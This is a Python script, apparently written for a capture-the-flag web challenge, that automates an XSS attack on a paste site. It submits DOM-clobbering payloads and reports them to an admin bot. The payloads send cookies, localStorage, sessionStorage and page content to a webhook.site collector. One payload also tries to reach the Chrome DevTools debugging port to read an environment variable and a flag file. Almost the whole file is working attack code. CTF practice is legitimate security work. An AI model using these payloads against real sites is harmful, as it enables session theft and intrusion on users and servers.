#!/usr/bin/env python3
"""
Automated Payload Sender - Creates paste and reports to bot automatically
"""
import urllib.parse
import requests
import time
from urllib.parse import urljoin

CHALLENGE_URL = "https://pasteboard-1fb68b7836775bea.chals.uoftctf.org"
WEBHOOK = "https://webhook.site/d8111fd3-599a-47ab-bcab-94d5ec54e078"


def create_paste(payload, title="Test"):
    """Create a paste with the payload"""
    url = urljoin(CHALLENGE_URL, "/note/new")
    data = {
        "title": title,
        "body": payload
    }

    print(f"[*] Creating paste...")
    response = requests.post(url, data=data, allow_redirects=False)

    # The response should be a 302 redirect to the note
    if response.status_code == 302:
        note_path = response.headers.get('Location')
        if note_path:
            full_url = urljoin(CHALLENGE_URL, note_path)
            print(f"[+] Paste created: {full_url}")
            return note_path  # Return path, not full URL

    print(f"[-] Failed to create paste. Status: {response.status_code}")
    return None


def report_to_bot(note_url):
    """Report the note URL to the bot"""
    url = urljoin(CHALLENGE_URL, "/report")
    data = {"url": note_url}

    print(f"[*] Reporting to bot: {note_url}")
    response = requests.post(url, data=data)

    if response.status_code == 202 and "Queued" in response.text:
        print(f"[+] Successfully queued for bot visit")
        return True

    print(f"[-] Failed to report. Status: {response.status_code}")
    print(f"    Response: {response.text[:100]}")
    return False


def send_payload(payload, description="Test"):
    """Create paste and report to bot"""
    print(f"\n{'='*80}")
    print(f"🚀 {description}")
    print(f"{'='*80}")

    note_url = create_paste(payload, title=description)
    if not note_url:
        return False

    time.sleep(1)  # Small delay

    if report_to_bot(note_url):
        print(f"[*] Bot will visit in ~5-10 seconds")
        print(f"[*] Check webhook: {WEBHOOK}")
        return True

    return False


# PAYLOAD 1: Simple ping test
payload1 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,fetch(\'{WEBHOOK}?ping=1\')"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

# PAYLOAD 2: Multiple pings
code2 = f"fetch('{WEBHOOK}?step=1');setTimeout(() => fetch('{WEBHOOK}?step=2'), 1000);setTimeout(() => fetch('{WEBHOOK}?step=3'), 2000);"
encoded2 = urllib.parse.quote(code2)
payload2 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{encoded2}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

# PAYLOAD 3: Comprehensive data dump
code3 = f"""(async () => {{
    const data = {{
        timestamp: Date.now(),
        cookie: document.cookie,
        storage: {{
            local: Object.keys(localStorage).map(k => ({{key: k, val: localStorage[k]}})),
            session: Object.keys(sessionStorage).map(k => ({{key: k, val: sessionStorage[k]}}))
        }},
        location: {{
            href: location.href,
            origin: location.origin
        }},
        document: {{
            title: document.title,
            referrer: document.referrer
        }},
        window: {{
            FLAG: window.FLAG,
            flag: window.flag,
            flagKeys: Object.keys(window).filter(k => k.toLowerCase().includes('flag'))
        }},
        html: document.body.innerHTML.substring(0, 500)
    }};
    await fetch('{WEBHOOK}', {{method: 'POST', body: JSON.stringify(data, null, 2)}});
}})();""".replace('\n', ' ')
encoded3 = urllib.parse.quote(code3)
payload3 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{encoded3}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

# PAYLOAD 4: CDP exploitation attempt
code4 = f"""(async () => {{
    const w = '{WEBHOOK}';
    let flag = null;
    
    // Try remote debugging port
    try {{
        const r = await fetch('http://localhost:9222/json');
        const data = await r.json();
        await fetch(w + '?step=debug_port_open', {{method:'POST', body:JSON.stringify(data)}});
    }} catch(e) {{}}
    
    // Try to import DevTools
    try {{
        const Main = await import('/devtools/main/main.js');
        
        // Read process.env.FLAG
        try {{
            const result = await Main.MainImpl.SendOverProtocol('Runtime.evaluate', {{
                expression: 'process.env.FLAG'
            }});
            flag = result.result.value;
            await fetch(w + '?FLAG=' + encodeURIComponent(flag));
        }} catch(e) {{}}
        
        // Try reading file
        if (!flag) {{
            const result = await Main.MainImpl.SendOverProtocol('Runtime.evaluate', {{
                expression: 'require("fs").readFileSync("/app/flag.txt","utf8")'
            }});
            flag = result.result.value;
            await fetch(w + '?FLAG=' + encodeURIComponent(flag));
        }}
    }} catch(e) {{
        await fetch(w + '?error=cdp_import_failed&msg=' + encodeURIComponent(e.toString()));
    }}
    
    // Fallback: standard locations
    if (!flag) {{
        await fetch(w, {{
            method: 'POST',
            body: JSON.stringify({{
                cookie: document.cookie,
                localStorage: {{...localStorage}},
                windowFlag: window.FLAG || window.flag || null
            }})
        }});
    }}
}})();""".replace('\n', ' ')
encoded4 = urllib.parse.quote(code4)
payload4 = f'<form id="errorReporter"><input name="path" value="data:text/javascript,{encoded4}"></form><img id="renderConfig" src=x onerror="window.lastRenderError=\'x\';throw new Error()">'

if __name__ == "__main__":
    print("\n" + "="*80)
    print("🎯 AUTOMATED PAYLOAD SENDER")
    print("="*80)
    print(f"\nChallenge: {CHALLENGE_URL}")
    print(f"Webhook: {WEBHOOK}")

    # Let user choose
    print("\n" + "="*80)
    print("SELECT PAYLOAD TO SEND:")
    print("="*80)
    print("\n1. Simple Ping Test (confirms XSS works)")
    print("2. Multiple Pings (tests timing)")
    print("3. Comprehensive Data Dump (sends all available data)")
    print("4. Full CDP Exploitation (tries all CDP methods)")
    print("5. Send ALL payloads in sequence (30 sec delay between each)")
    print("0. Exit")

    choice = input("\nEnter choice [1-5]: ").strip()

    payloads = {
        "1": (payload1, "Simple Ping Test"),
        "2": (payload2, "Multiple Pings"),
        "3": (payload3, "Comprehensive Data Dump"),
        "4": (payload4, "Full CDP Exploitation")
    }

    if choice == "5":
        # Send all payloads
        for num, (payload, desc) in payloads.items():
            if send_payload(payload, desc):
                print(f"\n[*] Waiting 30 seconds before next payload...")
                time.sleep(30)
            else:
                print(f"\n[-] Failed to send payload {num}")

        print(f"\n{'='*80}")
        print("✅ All payloads sent!")
        print(f"Check your webhook: {WEBHOOK}")
        print("="*80)

    elif choice in payloads:
        payload, desc = payloads[choice]
        if send_payload(payload, desc):
            print(f"\n{'='*80}")
            print("✅ Payload sent successfully!")
            print(f"Check your webhook: {WEBHOOK}")
            print("="*80)
        else:
            print("\n❌ Failed to send payload")

    elif choice == "0":
        print("Exiting...")
    else:
        print("Invalid choice!")
